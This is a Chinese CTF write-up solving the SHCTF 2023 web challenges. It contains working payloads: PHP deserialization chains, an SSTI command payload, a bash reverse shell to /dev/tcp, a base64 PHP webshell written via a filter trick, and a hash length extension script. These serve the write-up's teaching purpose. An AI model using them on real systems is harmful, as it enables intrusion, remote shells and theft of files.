SHCTF 2023 新生赛 Web 题解
本文为SHCTF 2023新生赛的Web全部题解 供大家学习参考 有问题可以指出
Web
[WEEK1]babyRCE
源码过滤了cat 空格 我们使用${IFS}替换空格 和转义获得flag
[WEEK1]飞机大战
源码js发现unicode编码
\u005a\u006d\u0078\u0068\u005a\u0033\u0074\u006a\u0059\u006a\u0045\u007a\u004d\u007a\u0067\u0030\u005a\u0069\u0030\u0031\u0059\u006d\u0045\u0032\u004c\u0054\u0052\u0068\u004e\u007a\u0055\u0074\u004f\u0057\u0049\u0031\u004e\u0053\u0030\u007a\u004d\u007a\u0063\u0031\u0059\u0032\u0051\u0078\u005a\u0047\u0049\u0079\u004f\u0057\u004a\u0039\u000a
解码获得flag
[WEEK1]登录就给flag
这道题直接爆破password就行 爆破到密码为password发现302跳转 抓包获得flag
[WEEK1]生成你的邀请函吧~
使用POST json请求来生成你的邀请函
直接用脚本就行了
import requests
from PIL import Image
import io
url = "http://112.6.51.212:30908/generate_invitation"
data = {
"name": "C_yi",
"imgurl": "http://q.qlogo.cn/headimg_dl?dst_uin=3590468098&spec=640&img_type=jpg"
}
response = requests.post(url, json=data, verify=False)
# 获取返回的图片内容
image_content = response.content
# 创建一个PIL的Image对象
image = Image.open(io.BytesIO(image_content))
# 保存图片
image.save("avatar.jpg")
然后搜索avatar.jpg
得到flag
[WEEK1]ez_serialize
<?php
highlight_file(__FILE__);
class A{
public $var_1;
public function __invoke(){
include($this->var_1);
}
}
class B{
public $q;
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->q)) {
echo "hacker";
}
}
}
class C{
public $var;
public $z;
public function __toString(){
return $this->z->var;
}
}
class D{
public $p;
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['payload']))
{
unserialize($_GET['payload']);
}
?>
代码审计
我们反推把 首先看输出点为include()函数
那么执行这个函数 我们就要调用__invoke()魔术方法 这个魔术方法的调用就要通过下面的p参数令 p = new A()(调用条件网上都有)
要想调用p 那就要触发__get()魔术方法 调用这个方法就要看这个z参数 因为z下边无var
想要调用z就要触发__tostring()魔术方法,那就这里是个考点 按道理我们只需要令$var = new C();就可以触发 但看下面这个
Preg_match()函数这个判定就可以直接触发__tostring()魔术方法 那我们直接$p = new B()就可以 那触发__wakeup()函数很简单 反序列就触发
所以构造最终的代码
<?php
class A{
public $var_1 = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class B{
public $q;
}
class C{
public $var;
public $z;
}
class D{
public $p;
}
$b = new B();
$c = new C();
$b->q = $c;
$d = new D();
$c->z = $d;
$d->p = new A();
var_dump(serialize($b))
?>
Payload:O:1:"B":1:{s:1:"q";O:1:"C":2:{s:3:"var";N;s:1:"z";O:1:"D":1:{s:1:"p";O:1:"A":1:{s:5:"var_1";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}}}}
然后base64解码就得到falg了
[WEEK1]1zzphp
这道题关键就是利用正则最大回溯绕过,一般下面看到这种就要想到了
所以也没啥难的 按照下面这个自己调试就饿可以了
我的是
import requests
url="http://112.6.51.212:32191/?num[]=1"
data={
'c[ode':'very'*250000+'2023SHCTF'
}
r=requests.post(url,data=data)
print(r.text)
[WEEK1]ezphp
这道题的考点就是研究preg_replace \e模式下的代码执行
可以看这篇文章
深入研究preg_replace \e模式下的代码执行_preg_replace /e-CSDN博客
深入研究preg_replace \e模式下的代码执行_preg_replace()执行问题-CSDN博客
因为这道题的phpinfo()和大括号没被过滤
所以可以利用
题目就是通过get传参code post传参pattern 关键就是下面这句话
preg_replace 使用了 /e 模式,导致了代码可以被执行
那我们直接利用就好了我们通过POST传参 (.*) 的方式传入pattern code传入
原先的语句: preg_replace('/(' . $pattern . ')/ei', 'print_r("\\1"))', $coder);
变成了语句: preg_replace('/(.*)/ei', 'print_r("\\1")', {${phpinfo()}});
所以得到flag了
[WEEK2]no_wake_up
又是一道简单的反序列化题
Exp:
<?php
class flag{
public $username = "admin";
public $code = "php://filter/read=convert.base64-encode/resource=flag.php";
}
$a = new flag();
echo serialize($a);
Paylaod:?try=O:4:"flag":2:{s:8:"username";s:5:"admin";s:4:"code";s:57:" ";}
解码获得flag
[WEEK2]EasyCMS
考点:【CVE-2021-46203】Taocms v3.0.2 任意文件读取
需要登录后台,默认的账号密码为 admin/tao 然后目录穿越获得flag
[WEEK2]ez_ssti
有点像ctfshow 里面的web361
?name={{ config.__class__.__init__.__globals__['os'].popen('ls /').read() }}
发现flag
?name={{ config.__class__.__init__.__globals__['os'].popen('cat /flag').read() }}
[WEEK2]MD5的事就拜托了
源代码
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
}
}
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}
逐级分析代码;
if(isset($_POST['SHCTF'])){
extract(parse_url($_POST['SHCTF']));
if($$$scheme==='SHCTF'){
echo(md5($flag));
echo("</br>");
}
这里的考点看下面一边文章就行
我这里的构造为 可以得到md5加密的falg
SHCTF=host://SHCTF:pass@user/SHCTF
分析下一段代码
if(isset($_GET['length'])){
$num=$_GET['length'];
if($num*100!=intval($num*100)){
echo(strlen($flag));
echo("</br>");
}
考察intval()函数的绕过 网上搜下就懂了 然后可以得到flag的长度
?length=1.001
得到 md5加密的flag 和长度
再看下一段
if($_POST['SHCTF']!=md5($flag)){
if($_POST['SHCTF']===md5($flag.urldecode($num))){
echo("flag is".$flag);
}
}
传入SHCTF不能等于md5加密的flag ,然后看向最后的if语句,直接网上搜md5($flag.urldecode($num))
,可以搜到其考点为哈希拓展攻击。具体访问下面文章(挂个梯子)
import base64
import hashlib
import hmac
import struct
import sys
import time
import urllib.parse
from common.md5_manual import md5_manual
from loguru import logger
from common.crypto_utils import CryptoUtils
class HashExtAttack:
"""
哈希长度扩展攻击,解决 hashpump 在win下使用困难的问题
目前仅支持md5,如果你对认证算法有了解可以手动改写str_add中的字符串拼接方式
"""
def __init__(self):
self.know_text = b""
self.know_text_padding = b""
self.new_text = b""
self.rand_str = b''
self.know_hash = b"3c5a36dd888251601d36bbc184648717"
self.key_length = 15
def _padding_msg(self):
"""填充明文"""
logger.debug("填充明文")
self.know_text_padding = md5_manual.padding_str(self.know_text)
logger.debug(f"已知明文填充:{self.know_text_padding}")
def _gen_new_plain_text(self):
"""生成新明文"""
self.new_text = self.know_text_padding + self.rand_str # b'80' + 55 * b'\x00' + struct.pack("<Q", 512 + len(self.rand_str) *8)
logger.debug(f"new_text: {self.new_text}")
def split_hash(self, hash_str: bytes):
by_new = CryptoUtils.trans_str_origin2_bytes(hash_str.decode())
return struct.unpack("<IIII", by_new)
def _guess_new_hash(self) -> tuple:
"""生成新hash"""
# 第一步先生成新的字符串
# 对已知明文进行填充
self._padding_msg()
# 第二步 生成新明文
self._gen_new_plain_text()
# 第三步 生成新hash(基于已知hash进行计算)
# 3.1 hash拆分成4个分组
hash_block = self.split_hash(hash_str=self.know_hash)
md5_manual.A, md5_manual.B, md5_manual.C, md5_manual.D = hash_block
tmp_str = md5_manual.padding_str(self.new_text)
logger.debug(f"新明文填充tmp_str({len(tmp_str)}): {tmp_str}")
logger.debug(f"参与手工分块计算的byte:{tmp_str[-64:]}")
md5_manual.solve(tmp_str[-64:])
self.new_hash = md5_manual.hex_digest()
return self.new_text, self.new_hash
def run(self, know_text, know_hash, rand_str, key_len) -> tuple:
# self.know_text = input("请输入已知明文:")
self.know_text = ("*" * key_len + know_text).encode() # 密钥拼接
self.know_hash = know_hash.encode()
self.rand_str = rand_str.encode()
self._guess_new_hash()
logger.info(f"已知明文:{self.know_text[key_len:]}")
logger.info(f"已知hash:{self.know_hash}")
logger.debug(f"任意填充:{self.rand_str}")
logger.info(f"新明文:{self.new_text[key_len:]}")
logger.info(f"新明文(url编码):{urllib.parse.quote(self.new_text[key_len:], safe='&=')}")
# logger.debug(f"新明文:{base64.b64encode(self.new_text[key_len:])}")
logger.info(f"新hash:{self.new_hash}")
return self.new_text[key_len:], self.new_hash
def input_run(self):
time.sleep(0.2)
self.run(input("请输入已知明文:"), input("请输入已知hash: "), input("请输入扩展字符: "),
int(input("请输入密钥长度:")))
def test(self):
self.run(
"order_id=70&buyer_id=17&good_id=38&buyer_point=300&good_price=888&order_create_time=1678236217.799935",
"178944d4a39e4e4af6522c6de6cb24c5", "&good_price=1", 50)
hash_ext_attack = HashExtAttack()
if __name__ == '__main__':
logger.remove()
logger.add(sys.stderr, level="INFO")
hash_ext_attack.input_run()
得到payload:
?length=%80%00%00%00%00%00%00%00%00%00%00%00%00%00P%01%00%00%00%00%00%00ab
SHCTF=c4053dcc95bf563af279f7e4bb1f9e17
得到flag
[WEEK2]ez_rce
用Kicky师傅的解法去复现吧
附件源码:
from flask import *
import subprocess
app = Flask(__name__)
def gett(obj,arg):
tmp = obj
for i in arg:
tmp = getattr(tmp,i)
return tmp
def sett(obj,arg,num):
tmp = obj
for i in range(len(arg)-1):
tmp = getattr(tmp,arg[i])
setattr(tmp,arg[i+1],num)
def hint(giveme,num,bol):
c = gett(subprocess,giveme)
tmp = list(c)
tmp[num] = bol
tmp = tuple(tmp)
sett(subprocess,giveme,tmp)
def cmd(arg):
subprocess.call(arg)
@app.route('/',methods=['GET','POST'])
def exec():
try:
if request.args.get('exec')=='ok':
shell = request.args.get('shell')
cmd(shell)
else:
exp = list(request.get_json()['exp'])
num = int(request.args.get('num'))
bol = bool(request.args.get('bol'))
hint(exp,num,bol)
return 'ok'
except:
return 'error'
if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)
考点需要本地调试 Subprocess Call
第一步进行构造进行污染
?num=7&bol=True
post:
{
"exp": ["Popen", "__init__", "__defaults__"]
}
修改 Content-Type: application/json
返回 ok 代表成功
第二步构造
/?
exec=ok&shell=%62%61%73%68%20%2D%63%20%22%62%61%73%68%20%2D%69%20%3E%26%20%2
F%64%65%76%2F%0D%0A%74%63%70%2F%49%50%2F%32%32%32%32%20%30%3E%26%31%22
反弹 shell 获得 flag
官方wp:
Subprocess.call函数有一个参数shell,当shell为True时,执行命令时是/bin/sh -c “$cmd”这样的,可以进行命令注入。而当shell为false时,执行命令时是/bin/cmd arg这种。而这个方法的shell参数默认为false。
进入subprocess函数查看call函数
可以看到实际上是调用的Popen类的函数,进入Popen看看
可以看到构造参数中shell默认为false
函数的默认参数保存在defaults属性中
通过查看得知shell参数的值在第7个,所以只需要修改7下标为True就可以执行任意命令了。
通过阅读代码,可以知道gett函数是通过遍历json获取subprocess的属性,sett函数是遍历并将取到的属性设置为修改后的值。
先修改shell参数,注意修改content-type
下来命令执行
读flag即可
[WEEK2]serialize
这道题卡了很久 最后也是做出来了 我觉得最大的考点就是数组绕过if(preg_match('/^O:\d+/',$data)){ 而不是采用+ 这点我卡了特别久
js代码:
var arr = ["o123:", "c456:", "d789:"];
arr = arr.filter(function(element) {
return !/[oc]:\d+:/i.test(element); // 返回不匹配正则表达式的元素
});
console.log(arr); // 输出: ["d789:"]
Pop链比较简单:wakeup()->get()->totring()
构造代码
<?php
class misca{
public $gao;
public $fei;
public $a;
}
class musca{
public $ding;
public $dong;
}
class milaoshu{
public $v = "php://filter/read=convert.base64-encode/resource=flag.php"; //为协议读取
}
$m = new musca();
$m->ding = new misca(); //这个就是触发get魔术方法
$m->ding->gao = &$m->ding->a; //把gao赋值给a
$m->ding->fei = new milaoshu(); //触发tostring魔术方法
echo serialize(array($m)); //利用数组进行绕过正则匹配
Payload:a:1:{i:0;O:5:"musca":2:{s:4:"ding";O:5:"misca":3:{s:3:"gao";N;s:3:"fei";O:8:"milaoshu":1:{s:1:"v";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";}s:1:"a";R:4;}s:4:"dong";N;}}
解码获得flag
[WEEK3]快问快答
这种短时间内回答的题一看就是要脚本
根据源码写paylaod就行
import requests
import re
import time
def post_answer(url, headers, answer, cookie):#发送请求
answer1 = {'answer': answer}
response=requests.Session()
response = response.post(url, headers=headers, data=answer1,cookies=cookie)#这个需要设cookie,因为每道题的cookie都是不同的
return response
def parse_question(response):#用于计算答案
html = response.text
answer=0
pattern = re.compile(r"<h3>(.*?)</h3>")#提取题目信息
match = pattern.search(html)
if match:
question = match.group(1)
numbers = re.findall(r"\d+", question)
operation = re.findall(r'异或|与|\+|-|x|÷', question)#识别运算符
op=operation[0]
if len(numbers) == 2:
a = int(numbers[0])
b = int(numbers[1])
if op == "异或":
answer = a ^ b
if op == "与":
answer = a & b
if op == "-":
answer = a - b
if op == "+":
answer = a + b
if op == "x":
answer = a * b
if op == "÷":
answer = int(a/b)#这里要特别注意要强转成整形,因为题目只能提交整数,如果不转,脚本运行的时候,会因为提交无效数据而爆500的错误
#print(question)
#print(answer)
else:
print("找不到题目")
return answer
url = "http://112.6.51.212:32776/" # 这里替换为你要访问的网址
headers = {"Content-Type": "application/x-www-form-urlencoded"}
cookie=0
answer = 0
for i in range(1,52):#这里要设置成52,相当于循环了51次,因为第一次是初始化,答案是错的
time.sleep(1)#这里是为了别让程序答得太快,因为题目答题速度是1到2秒之间
response = post_answer(url, headers, answer, cookie)
print(response.text)#打印表单
answer = parse_question(response)
cookie = response.cookies
得到flag
[WEEK3]sseerriiaalliizzee
源码:
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $barking;
public function __construct(){
$this->barking = new Flag;
}
public function __toString(){
return $this->barking->dosomething();
}
}
class CTF{
public $part1;
public $part2;
public function __construct($part1='',$part2='') {
$this -> part1 = $part1;
$this -> part2 = $part2;
}
public function dosomething(){
$useless = '<?php die("+Genshin Impact Start!+");?>';
$useful= $useless. $this->part2;
file_put_contents($this-> part1,$useful);
}
}
class Flag{
public function dosomething(){
include('./flag,php');
return "barking for fun!";
}
}
$code=$_POST['code'];
if(isset($code)){
echo unserialize($code);
}
else{
echo "no way, fuck off";
}
?>
no way, fuck off
出口函数 file_put_contents,很简单的pop链 Start:__tostring()->CTF:dosomething()
考点就是无非是file_put_contents()
大概意思就是 你能够执行$this-> part1这个命令 但是因为下面这个
里面的die()函数导致你的uesful无法运行 即、$this->part2=执行的命令无法成功
那这里的考点就是file_put_contents利用技巧
具体访问:(*´∇`*) 欢迎回来! (cnblogs.com)
我们直接构造paylaod:
<?php eval('system("ls /");'); ?> 然后base64编码(?前面不加空格 就会编码变成+号)
PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==
然后
构造脚本
<?php
class Start{
public $barking;
}
class CTF{
public $part1;
public $part2;
}
$start=new Start();
$start->barking=new CTF();
$start->barking->part1="php://filter/write=convert.base64-decode/resource=wenda.php";
$start->barking->part2="PD9waHAgZXZhbCgnc3lzdGVtKCJscyAvIik7Jyk7ICA/Pg==";
//因为$useless能被base64解码的只有phpdie+GenshinImpactStart+一共26个字符,所以需要加2个a凑成28个,4的倍数
//然后写需要执行的命令,进行base64编码,接着访问wenda.php就能得到flag
echo serialize($start);
?>
同理换成 cat /flag
Paylaod:
O:5:"Start":1:{s:7:"barking";O:3:"CTF":2:{s:5:"part1";s:59:"php://filter/write=convert.base64-decode/resource=wenda.php";s:5:"part2";s:54:"aaPD9waHAgZXZhbCgnc3lzdGVtKCJjYXQgL2ZsYWciKTsnKTsgPz4=";}}
[WEEK3]gogogo
考点:go代码审计,session伪造,通配符绕过
这里先贴一个windows下运行go 安装使用
https://blog.csdn.net/qq_42313447/article/details/114403953
下载源码得到三个路由
main.go
package main
import (
"main/route"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/readflag", route.Readflag)
r.Run("0.0.0.0:8000")
}
分析一下,就是给了两个路由。
route.go
package route
import (
"github.com/gin-gonic/gin"
"github.com/gorilla/sessions"
"main/readfile"
"net/http"
"os"
"regexp"
)
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "User"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, User. How to become admin?")
}
func Readflag(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == "admin" {
c.String(200, "Congratulation! You are admin,But how to get flag?\n")
path := c.Query("filename")
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
if reg.MatchString(path) {
http.Error(c.Writer, "nonono", http.StatusInternalServerError)
return
}
var data []byte
if path != "" {
data = readfile.ReadFile(path)
} else {
data = []byte("请传入参数")
}
c.JSON(200, gin.H{
"success": "read: " + string(data),
})
} else {
c.String(200, "Hello, User. How to become admin?")
}
}
我们分析一下下面这个index里面这个
如果name为nil 接着就改为user
我们再看看readflag里面这个 就发现name要为admin 才能接下来的步骤
这里的意思很好懂,就是要把name的值改为admin。但是抓包后发现是有加密的
那我们可不可以伪造session? 让他成为admin呢 我们知道session的加密方式为
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
我们猜测环境没有设置session-key,本地搭环境得到session值去伪造
意思就是我们只要把route.go里面的 index改为admin就行
session.Values["name"] = "admin"
然后go run .main.go
然后访问127.0.0.1:8000
,对应的cookie即为admin
最后就是readfile.go
package readfile
import (
"os/exec"
)
func ReadFile(path string) (string2 []byte) {
defer func() {
panic_err := recover()
if panic_err != nil {
}
}()
cmd := exec.Command("bash", "-c", "strings "+path)
string2, err := cmd.Output()
if err != nil {
string2 = []byte("文件不存在")
}
return string2
}
简单的读取文件,构造出读取文件的语句 ,我们还记得给了两个路由 我们访问readflag
然后看看过滤条件
reg := regexp.MustCompile(`[b-zA-Z_@#%^&*:{|}+<>";\[\]]`)
不难发现有个a还可以用并且问号没被过滤,这里采取通配符绕过 得到flag
?filename=/??a?
#filename=/bin/base /flag
filename=/???/?a??64%09/??a?
开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!
更多推荐
所有评论(0)